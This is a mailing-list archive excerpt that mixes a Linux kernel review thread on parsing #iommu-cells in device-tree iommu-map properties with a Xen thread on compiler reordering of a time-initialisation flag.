 Lorenzo Pieralisi <lpieralisi@kernel.org>, Marc Zyngier <maz@kernel.org>,
 Thomas Gleixner <tglx@kernel.org>, Rob Herring <robh@kernel.org>,
 Saravana Kannan <saravanak@kernel.org>, Richard Zhu <hongxing.zhu@nxp.com>,
 Lucas Stach <l.stach@pengutronix.de>,
 =?UTF-8?Q?Krzysztof_Wilczy=C5=84ski?= <kwilczynski@kernel.org>,
 Manivannan Sadhasivam <mani@kernel.org>, Bjorn Helgaas
 <bhelgaas@google.com>, Frank Li <Frank.Li@nxp.com>,
 Sascha Hauer <s.hauer@pengutronix.de>,
 Pengutronix Kernel Team <kernel@pengutronix.de>,
 Fabio Estevam <festevam@gmail.com>, Juergen Gross <jgross@suse.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>
Cc: linux-arm-msm@vger.kernel.org, linux-kernel@vger.kernel.org,
 iommu@lists.linux.dev, linux-arm-kernel@lists.infradead.org,
 devicetree@vger.kernel.org, linux-pci@vger.kernel.org, imx@lists.linux.dev,
 xen-devel@lists.xenproject.org,
 Charan Teja Kalla <charan.kalla@oss.qualcomm.com>
References: <20260603-parse_iommu_cells-v16-0-dc509dacb19a@oss.qualcomm.com>
 <20260603-parse_iommu_cells-v16-3-dc509dacb19a@oss.qualcomm.com>
 <3f5c974f-425d-47a5-9fda-e05de1f39d79@linaro.org>
 <0d0896af-a4a5-445d-8db7-fdb9eecd07a2@oss.qualcomm.com>
Content-Language: en-GB
From: Robin Murphy <robin.murphy@arm.com>
In-Reply-To: <0d0896af-a4a5-445d-8db7-fdb9eecd07a2@oss.qualcomm.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d62444/1785233076-BE27A757-D742E5B9/0/0
X-purgate-type: clean
X-purgate-size: 5471

On 28/07/2026 5:05 am, Vijayanand Jitta wrote:
> 
> 
> On 7/23/2026 6:47 PM, Neil Armstrong wrote:
>> Hi,
>>
>> On 6/3/26 09:13, Vijayanand Jitta wrote:
>>> From: Robin Murphy <robin.murphy@arm.com>
>>>
>>> So far our parsing of {iommu,msi}-map properties has always blindly
>>> assumed that the output specifiers will always have exactly 1 cell.
>>> This typically does happen to be the case, but is not actually enforced
>>> (and the PCI msi-map binding even explicitly states support for 0 or 1
>>> cells) - as a result we've now ended up with dodgy DTs out in the field
>>> which depend on this behaviour to map a 1-cell specifier for a 2-cell
>>> provider, despite that being bogus per the bindings themselves.
>>>
>>> Since there is some potential use in being able to map at least single
>>> input IDs to multi-cell output specifiers (and properly support 0-cell
>>> outputs as well), add support for properly parsing and using the target
>>> nodes' #cells values, albeit with the unfortunate complication of still
>>> having to work around expectations of the old behaviour too.
>>>
>>> Since there are multi-cell output specifiers, the callers of of_map_id()
>>> may need to get the exact cell output value for further processing.
>>> Update of_map_id() to set args_count in the output to reflect the actual
>>> number of output specifier cells.
>>>
>>> Signed-off-by: Robin Murphy <robin.murphy@arm.com>
>>> Signed-off-by: Charan Teja Kalla <charan.kalla@oss.qualcomm.com>
>>> Signed-off-by: Vijayanand Jitta <vijayanand.jitta@oss.qualcomm.com>
>>> ---
>>>  Â  drivers/of/base.cÂ  | 168 +++++++++++++++++++++++++++++++++++++++++------------
>>>  Â  include/linux/of.h |Â Â  6 +-
>>>  Â  2 files changed, 135 insertions(+), 39 deletions(-)
>>>
>>> diff --git a/drivers/of/base.c b/drivers/of/base.c
>>> index d658c2620135..ac7961cbab94 100644
>>> --- a/drivers/of/base.c
>>> +++ b/drivers/of/base.c
>>> @@ -2116,19 +2116,49 @@ int of_find_last_cache_level(unsigned int cpu)
>>>  Â Â Â Â Â  return cache_level;
>>>  Â  }
>>>  Â  +/*
>>> + * Some DTs have an iommu-map targeting a 2-cell IOMMU node while
>>> + * specifying only 1 cell. Fortunately they all consist of value '1'
>>> + * as the 2nd cell entry with the same target, so check for that pattern.
>>> + *
>>> + * Example:
>>> + *Â Â Â  IOMMU node:
>>> + *Â Â Â Â Â Â Â  #iommu-cells = <2>;
>>> + *
>>> + *Â Â Â  Device node:
>>> + *Â Â Â Â Â Â Â  iommu-map = <0x0000 &smmu 0x0000 0x1>,
>>> + *Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  <0x0100 &smmu 0x0100 0x1>;
>>
>> So the sm8650 PCIe controllers has:
>>
>> pcie@1c08000:
>>  Â Â Â Â Â Â Â Â Â Â Â  iommu-map = <0Â Â Â Â  &apps_smmu 0x1480 0x1>,
>>  Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  <0x100 &apps_smmu 0x1481 0x1>;
>>
>> and
>>
>> pcie@1c00000:
>>
>>  Â Â Â Â Â Â Â Â Â Â Â  iommu-map = <0Â Â Â Â  &apps_smmu 0x1400 0x1>,
>>  Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  <0x100 &apps_smmu 0x1401 0x1>;
>>
>> and apps_smmu has #iommu-cells = <2>, but gets flagged at wrong:
>>
>> [Â Â Â  7.538800] OF: /soc@0/pcie@1c08000: iommu-map has 1-cell entries targeting 2-cell #iommu-cells, treating as 1-cell output
>>
>> Returning false in of_check_bad_map() triggers:
>>
>> [Â Â Â  7.642680] OF: /soc@0/pcie@1c08000: Unsupported iommu-map - cannot handle 256-ID range with 2-cell output specifier
>>
>> I don't understand the issue here, we use 2 cells as expected by
>> the iommu-cells, so why is it wrong ? can somebody explain in
>> comprehensive words ? I'm super confused, it worked like a charm until now.
>>
>> Neil
>>
> 
> Hi Neil,
> 
> iommu-map = <0     &apps_smmu 0x1480 0x1>,
>              <0x100 &apps_smmu 0x1481 0x1>;
> 
> 
> Entries here are not 2-cell format, Even though apps_smmu declares #iommu-cells = <2>,
> this DT only supplies one output cell (0x1480/0x1481) â€” the trailing 0x1 is the length field,
> not a second output cell. (<id-base phandle out-base length>)
> 
> The new code detects exactly this pattern (same target phandle across all entries, length always 1)
> and falls back to treating the map as 1-cell output for backward compatibility â€” hence the pr_warn_once.
> It's harmless and expected, your RIDs still resolve to the correct SIDs (0 â†’ 0x1480, 0x100 â†’ 0x1481).
> 
> The second message is a different case and shouldn't be coming from this same map â€” once the 1-cell
> fallback triggers on the first entry, it applies to the whole map, so you shouldn't hit both warnings
> together on the same node. That error only fires for a genuine 2-cell output specifier combined with
> an id_len > 1, e.g.:
> 
> iommu-map = <0x0 &apps_smmu 0x1480 0x1 0x100>;
> 
> (<id-base, phandle, out0, out1, length=256>) â€” which isn't supported, since there's no way to
> linearly scale a multi-cell output specifier across a range of IDs.
> 
> Are you seeing that second error on the same pcie node, or a different one?
> If it's the same node, can you share the exact iommu-map entry that triggers it?

I think Neil is saying he bypassed the fallback check so that it *did* 
try to parse the given map with the real #iommu-cells=2 in precisely the 
way you've shown - so even if it could have got past that point, it 
would have then blown trying to parse the second "entry" of just 
<&apps_smmu 0x1481 0x1>, since 0x1481 almost certainly isn't a valid 
phandle to read an #iommu-cells value from.

Cheers,
Robin.


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 10:33:11 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 10:33:11 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372341.1619698 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wof7Q-00050O-W2; Tue, 28 Jul 2026 10:33:04 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372341.1619698; Tue, 28 Jul 2026 10:33:04 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wof7Q-00050G-R1; Tue, 28 Jul 2026 10:33:04 +0000
Received: by outflank-mailman (input) for mailman id 1372341;
 Tue, 28 Jul 2026 10:33:04 +0000
Received: from mail.xenproject.org ([104.130.215.37])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <roger@xenproject.org>) id 1wof7Q-00050A-93
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 10:33:04 +0000
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <roger@xenproject.org>) id 1wof7P-00DN1y-0U;
 Tue, 28 Jul 2026 10:33:02 +0000
Received: from 224.pool85-54-217.dynamic.orange.es ([85.54.217.224]
 helo=localhost) by xenbits.xenproject.org with esmtpsa (TLS1.3) tls
 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96)
 (envelope-from <roger@xenproject.org>) id 1wof7O-002qNT-1G;
 Tue, 28 Jul 2026 10:33:02 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=xenproject.org; s=20200302mail; h=In-Reply-To:Content-Transfer-Encoding:
	Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date;
	bh=nB6PbQuKdL6MHngmzjaHTKph6NSfX5lmALrRKO4lcmw=; b=2V4MXmJrzw2FFBQ7aunk3Ro9JU
	B0D7YtqBjnNTX7j9tfUxHjOPBKDps/eaXCwjGCElL1R/87doqLTFhwLmvpFE28cOrq2uLYlouOoqn
	ucdWQA7yNUwBCgV4CqrFDlhZI5ka+CKQlk+W9bax6cf6BfCh1scK2H2eCI8PAgqhQfKk=;
Date: Tue, 28 Jul 2026 12:32:55 +0200
From: Roger Pau =?utf-8?B?TW9ubsOp?= <roger@xenproject.org>
To: Jan Beulich <jbeulich@suse.com>
Cc: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Julien Grall <julien@xen.org>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Volodymyr Babchuk <volodymyr_babchuk@epam.com>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>
Subject: Re: [PATCH v4 1/3] time: add "NOW() good" indicator
Message-ID: <amiFV3IWZUoaT57V@macbook.local>
References: <f5040939-b166-4050-9a27-117b772547d4@suse.com>
 <b7513795-9e4b-4358-9d46-6c7036d64b81@suse.com>
 <amhlnWAwF-AS_sH7@macbook.local>
 <baddc2f7-deab-4727-a688-a6fe30f7fb89@suse.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
In-Reply-To: <baddc2f7-deab-4727-a688-a6fe30f7fb89@suse.com>

On Tue, Jul 28, 2026 at 10:24:38AM +0200, Jan Beulich wrote:
> On 28.07.2026 10:17, Roger Pau MonnÃ© wrote:
> > On Tue, Jun 30, 2026 at 04:06:00PM +0200, Jan Beulich wrote:
> >> --- a/xen/arch/x86/time.c
> >> +++ b/xen/arch/x86/time.c
> >> @@ -2660,6 +2660,7 @@ void __init early_time_init(void)
> >>  
> >>      set_time_scale(&t->tsc_scale, tmp);
> >>      t->stamp.local_tsc = boot_tsc_stamp;
> >> +    NOW_good = true;
> > 
> > Would you need a barrier here to ensure compiler doesn't re-order the
> > writes?  Maybe using ACCESS_ONCE(), or a smp_wmb() like it's used in
> > other arches?
> 
> Aiui it isn't needed here. The compiler can't re-order the two writes,
> due to our use of -fno-strict-aliasing. The barrier is there on other
> arch-es to avoid re-ordering in hardware.

You are the expert in compilers, but it was my understanding that
`no-strict-aliasing` only affects the ordering of pointers accesses,
but not plain variables.  IOW: NOW_good accesses could be reordered
because it's not a pointer.  Does the compiler consider t can point to
&NOW_good and hence it can't be reordered?

Thanks, Roger.


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 10:40:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 10:40:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372350.1619705 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wofE3-0005uq-JV; Tue, 28 Jul 2026 10:39:55 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372350.1619705; Tue, 28 Jul 2026 10:39:55 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wofE3-0005uj-Gt; Tue, 28 Jul 2026 10:39:55 +0000
Received: by outflank-mailman (input) for mailman id 1372350;
 Tue, 28 Jul 2026 10:39:54 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <vijayanand.jitta@oss.qualcomm.com>)
 id 1wofE2-0005ud-Mo
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 10:39:54 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wofE1-00EMli-ML
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 12:39:53 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <vijayanand.jitta@oss.qualcomm.com>)
 id 6a6886df-5cb7-0a2a0a5109dd-0a2a4502995a-34
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 12:39:53 +0200
Received: from [205.220.168.131] (helo=mx0a-0031df01.pphosted.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <vijayanand.jitta@oss.qualcomm.com>)
 id 6a6886f7-6ca4-0a2a45020019-cddca8839cf0-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 12:39:53 +0200
Received: from pps.filterd (m0279866.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66S82GjU1908866
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 10:39:51 GMT
Received: from mail-pj1-f71.google.com (mail-pj1-f71.google.com
 [209.85.216.71])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4fpbp8bve5-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 10:39:50 +0000 (GMT)
Received: by mail-pj1-f71.google.com with SMTP id
 98e67ed59e1d1-38f0fe57470so959779a91.0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 03:39:50 -0700 (PDT)
Received: from [192.168.1.14] ([103.28.245.139])
 by smtp.gmail.com with ESMTPSA id
 98e67ed59e1d1-38f08968de4sm4269200a91.2.2026.07.28.03.39.39
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 03:39:49 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	tSdcsk71nOjiqCkvXi2nOvJunCqAD9QzbH9nuI5oGcM=; b=iNnNA9efeNppXLMI
	ADfqnOz57Fup/AKKZao5OkovTB2j41hia1B62e6iILnw9Y7pzqFv0wGa10RfB08r
	vxX9GZWNFUdPU/B5D3JzCTlxx8xlvh9dJ5Z8vqPHZDbmfF3bVqgh5iEz2W9zjQta
	LcKdd1FRuxNdlJDfz4e3ynGGSscGi5e5wJyV/FFBfES5TElAacixzs3c5wOIp6jt
	WMFKB3/YaThUZ/7YhzwgW62BP6nQbsPZHRZMUyWxvPEFXBTZpuIGlkZxXbRiOOcL
	rUDpU8K4mSp/iPWhIAiqao5cGwoTXij3eMc81bs9/5NEFEIt/eKHndwsRCOJk7M7
	yJCDtA==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1785235190; x=1785839990; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=tSdcsk71nOjiqCkvXi2nOvJunCqAD9QzbH9nuI5oGcM=;
        b=D7O6MHhLXPbE9k6ChqB/y9ixmTk2ComWyJkpEPWgP7zkqnI/OyTMeXilaMWjCEWIiW
         REjnD+IKK8bAFzslxSRoIzMqogokVmTm+LQS8uGkQtm/GWLUXn0itOYduXetNv6eF7oV
         /8svza7xV3pvlFb1+1dkB6uINes0dQQkzt5yu09dXf7+wif1sENBtVPdQj1+FWBlFR4P
         7u6lvYPL8Q4JpenV41u24h/BNHF3lS4MtKL28xgmMQamJa6NLsqCD+D1gIgXKt9Lb+Bf
         lEMFGinGVi7/49KTtGj0U0+7LAs3ZGdGtLpoWUJCzt4TNH1FrPid0qTotlg5qsSYWyx6
         ft2A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785235190; x=1785839990;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=tSdcsk71nOjiqCkvXi2nOvJunCqAD9QzbH9nuI5oGcM=;
        b=AWVZBPpzPk/v2fvWcR/SqLZK7REQOFfHXL60ZuCQq6A0v8Il3GrqVByMiiLcr5esTC
         CefgzxlUsx7EzdacBE/7QKenHa0W05dbB7KyF1VISfmq0r9r6xB/W8gITZuZL///Nno+
         Rtnc3YTi6W2jlIgKtj08NNoQI5i3JMUbcxlTNepMDAfu+saoZI13Y8Fgwz6d24Hqg06p
         drkFs8YnydTT3zrdP+Bw1LvDMwflk5cUVeUAQgr5EyDaLfOsFGtdmtiQ+l0xrrTbUrJM
         0a9gAbaEqHbENgE91leFmSBmTTQqfLqRZQR+IIoJIhofFhgLGlu8DzOtO8mzRc8mkOBM
         gj3Q==
X-Forwarded-Encrypted: i=1; AHgh+RriPuMPNMOGVAhCOFLoNtAerQ4z1XC4kQDoAIAbFYjtExXiVP/4cibqThq4n9RaMBMIstBbvAMHwR4=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzIt44CPP21BaBQKsTkAhHhiUcHnINbKN8wWzDsbaKypGBCSS4k
	czgijkwt28TRKlsNKwryCj2kJTHcUBRzuMaMPwWUYnwSWIlFp3m3KCHtM4ubo4+MMHMexsZoGLo
	yvA+H+KqIHYjRJzL7hhfRAmGYfj6Pzq+mprT6uicmafLSxCGJmdRCRhAR4SdoCicenlN1Dw==
X-Gm-Gg: AR+sD12Nlwl1TwqZWb7gKFJbCNKK1oHw4rGUwTKjoJXRfxcqpYY0ZKqcjmFyPkqzOcy
	bziGzk7vnGc8DYrXHgYu8aJTsUnWKjscccExRTSLCbvIhyJisdQ56A/A70HF79HAhZeuNCpuXdw
	wYuWbFarx7LlNQ0K7/rv17kN1bjgcC1BL4QPNNLPbg8sNqDBpNR7DccmoSj+OIK/2ExReo7YShS
	+J+XI2+JmC6SWG1Sbj5H92XWua8LMa5Efk6sRUGeoLBqWZHs/ABXySNHfrLmVqQ3xxnlq3UxpIU
	DMTwX/KuWwC7/m4C62BbWnj1tCofg1/pPsJGigatZQ7KL3PuMX/XZ7caJZDaTPhZCK414gM4zRN
	/EiWNyshv0m8As/P1+Wjb4gJQm4iRp0u7DoCI
X-Received: by 2002:a17:90b:4ad0:b0:38e:4e61:c9e with SMTP id 98e67ed59e1d1-38f6a36a11fmr1788763a91.21.1785235189908;
        Tue, 28 Jul 2026 03:39:49 -0700 (PDT)
X-Received: by 2002:a17:90b:4ad0:b0:38e:4e61:c9e with SMTP id 98e67ed59e1d1-38f6a36a11fmr1788716a91.21.1785235189339;
        Tue, 28 Jul 2026 03:39:49 -0700 (PDT)
Message-ID: <569bd4d8-2d77-457e-a0fb-388180c34711@oss.qualcomm.com>
Date: Tue, 28 Jul 2026 16:09:36 +0530
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v16 3/3] of: Respect #{iommu,msi}-cells in maps
To: Robin Murphy <robin.murphy@arm.com>,
        Neil Armstrong <neil.armstrong@linaro.org>,
        Nipun Gupta
 <nipun.gupta@amd.com>,
        Nikhil Agarwal <nikhil.agarwal@amd.com>,
        Joerg Roedel <joro@8bytes.org>, Will Deacon <will@kernel.org>,
        Lorenzo Pieralisi <lpieralisi@kernel.org>,
        Marc Zyngier <maz@kernel.org>, Thomas Gleixner <tglx@kernel.org>,
        Rob Herring <robh@kernel.org>, Saravana Kannan <saravanak@kernel.org>,
        Richard Zhu <hongxing.zhu@nxp.com>,
        Lucas Stach <l.stach@pengutronix.de>,
        =?UTF-8?Q?Krzysztof_Wilczy=C5=84ski?= <kwilczynski@kernel.org>,
        Manivannan Sadhasivam <mani@kernel.org>,
        Bjorn Helgaas
 <bhelgaas@google.com>, Frank Li <Frank.Li@nxp.com>,
        Sascha Hauer <s.hauer@pengutronix.de>,
        Pengutronix Kernel Team <kernel@pengutronix.de>,
        Fabio Estevam <festevam@gmail.com>, Juergen Gross <jgross@suse.com>,
        Stefano Stabellini <sstabellini@kernel.org>,
        Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>
Cc: linux-arm-msm@vger.kernel.org, linux-kernel@vger.kernel.org,
        iommu@lists.linux.dev, linux-arm-kernel@lists.infradead.org,
        devicetree@vger.kernel.org, linux-pci@vger.kernel.org,
        imx@lists.linux.dev, xen-devel@lists.xenproject.org,
        Charan Teja Kalla <charan.kalla@oss.qualcomm.com>
References: <20260603-parse_iommu_cells-v16-0-dc509dacb19a@oss.qualcomm.com>
 <20260603-parse_iommu_cells-v16-3-dc509dacb19a@oss.qualcomm.com>
 <3f5c974f-425d-47a5-9fda-e05de1f39d79@linaro.org>
 <0d0896af-a4a5-445d-8db7-fdb9eecd07a2@oss.qualcomm.com>
 <69b1235a-832b-4a00-bcfd-f51991d23488@arm.com>
Content-Language: en-US
From: Vijayanand Jitta <vijayanand.jitta@oss.qualcomm.com>
In-Reply-To: <69b1235a-832b-4a00-bcfd-f51991d23488@arm.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzI4MDA5MyBTYWx0ZWRfX9Sb3hLcc5YbS
 RQiH8Ok21ml/MzWau4f0O+oFlHim3GANN/zMTAv7FLIoTHuYkT7OiYfhUUMjaNlq9TZ28T3SmHf
 VGJR9p2clXa+kEPeFguzOjzMMF2c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Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-28_02,2026-07-27_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 clxscore=1015 priorityscore=1501 suspectscore=0 spamscore=0 impostorscore=0
 lowpriorityscore=0 malwarescore=0 adultscore=0 bulkscore=0 phishscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607280093
X-purgate-ID: tlsNG-720697/1785235193-317CA2AC-0B6AAF6D/0/0
X-purgate-type: clean
X-purgate-size: 6096



On 7/28/2026 3:34 PM, Robin Murphy wrote:
> On 28/07/2026 5:05 am, Vijayanand Jitta wrote:
>>
>>
>> On 7/23/2026 6:47 PM, Neil Armstrong wrote:
>>> Hi,
>>>
>>> On 6/3/26 09:13, Vijayanand Jitta wrote:
>>>> From: Robin Murphy <robin.murphy@arm.com>
>>>>
>>>> So far our parsing of {iommu,msi}-map properties has always blindly
>>>> assumed that the output specifiers will always have exactly 1 cell.
>>>> This typically does happen to be the case, but is not actually enforced
>>>> (and the PCI msi-map binding even explicitly states support for 0 or 1
>>>> cells) - as a result we've now ended up with dodgy DTs out in the field
>>>> which depend on this behaviour to map a 1-cell specifier for a 2-cell
>>>> provider, despite that being bogus per the bindings themselves.
>>>>
>>>> Since there is some potential use in being able to map at least single
>>>> input IDs to multi-cell output specifiers (and properly support 0-cell
>>>> outputs as well), add support for properly parsing and using the target
>>>> nodes' #cells values, albeit with the unfortunate complication of still
>>>> having to work around expectations of the old behaviour too.
>>>>
>>>> Since there are multi-cell output specifiers, the callers of of_map_id()
>>>> may need to get the exact cell output value for further processing.
>>>> Update of_map_id() to set args_count in the output to reflect the actual
>>>> number of output specifier cells.
>>>>
>>>> Signed-off-by: Robin Murphy <robin.murphy@arm.com>
>>>> Signed-off-by: Charan Teja Kalla <charan.kalla@oss.qualcomm.com>
>>>> Signed-off-by: Vijayanand Jitta <vijayanand.jitta@oss.qualcomm.com>
>>>> ---
>>>> Â Â  drivers/of/base.cÂ  | 168 +++++++++++++++++++++++++++++++++++++++++------------
>>>> Â Â  include/linux/of.h |Â Â  6 +-
>>>> Â Â  2 files changed, 135 insertions(+), 39 deletions(-)
>>>>
>>>> diff --git a/drivers/of/base.c b/drivers/of/base.c
>>>> index d658c2620135..ac7961cbab94 100644
>>>> --- a/drivers/of/base.c
>>>> +++ b/drivers/of/base.c
>>>> @@ -2116,19 +2116,49 @@ int of_find_last_cache_level(unsigned int cpu)
>>>> Â Â Â Â Â Â  return cache_level;
>>>> Â Â  }
>>>> Â Â  +/*
>>>> + * Some DTs have an iommu-map targeting a 2-cell IOMMU node while
>>>> + * specifying only 1 cell. Fortunately they all consist of value '1'
>>>> + * as the 2nd cell entry with the same target, so check for that pattern.
>>>> + *
>>>> + * Example:
>>>> + *Â Â Â  IOMMU node:
>>>> + *Â Â Â Â Â Â Â  #iommu-cells = <2>;
>>>> + *
>>>> + *Â Â Â  Device node:
>>>> + *Â Â Â Â Â Â Â  iommu-map = <0x0000 &smmu 0x0000 0x1>,
>>>> + *Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  <0x0100 &smmu 0x0100 0x1>;
>>>
>>> So the sm8650 PCIe controllers has:
>>>
>>> pcie@1c08000:
>>> Â Â Â Â Â Â Â Â Â Â Â Â  iommu-map = <0Â Â Â Â  &apps_smmu 0x1480 0x1>,
>>> Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  <0x100 &apps_smmu 0x1481 0x1>;
>>>
>>> and
>>>
>>> pcie@1c00000:
>>>
>>> Â Â Â Â Â Â Â Â Â Â Â Â  iommu-map = <0Â Â Â Â  &apps_smmu 0x1400 0x1>,
>>> Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  <0x100 &apps_smmu 0x1401 0x1>;
>>>
>>> and apps_smmu has #iommu-cells = <2>, but gets flagged at wrong:
>>>
>>> [Â Â Â  7.538800] OF: /soc@0/pcie@1c08000: iommu-map has 1-cell entries targeting 2-cell #iommu-cells, treating as 1-cell output
>>>
>>> Returning false in of_check_bad_map() triggers:
>>>
>>> [Â Â Â  7.642680] OF: /soc@0/pcie@1c08000: Unsupported iommu-map - cannot handle 256-ID range with 2-cell output specifier
>>>
>>> I don't understand the issue here, we use 2 cells as expected by
>>> the iommu-cells, so why is it wrong ? can somebody explain in
>>> comprehensive words ? I'm super confused, it worked like a charm until now.
>>>
>>> Neil
>>>
>>
>> Hi Neil,
>>
>> iommu-map = <0Â Â Â Â  &apps_smmu 0x1480 0x1>,
>> Â Â Â Â Â Â Â Â Â Â Â Â  <0x100 &apps_smmu 0x1481 0x1>;
>>
>>
>> Entries here are not 2-cell format, Even though apps_smmu declares #iommu-cells = <2>,
>> this DT only supplies one output cell (0x1480/0x1481) â€” the trailing 0x1 is the length field,
>> not a second output cell. (<id-base phandle out-base length>)
>>
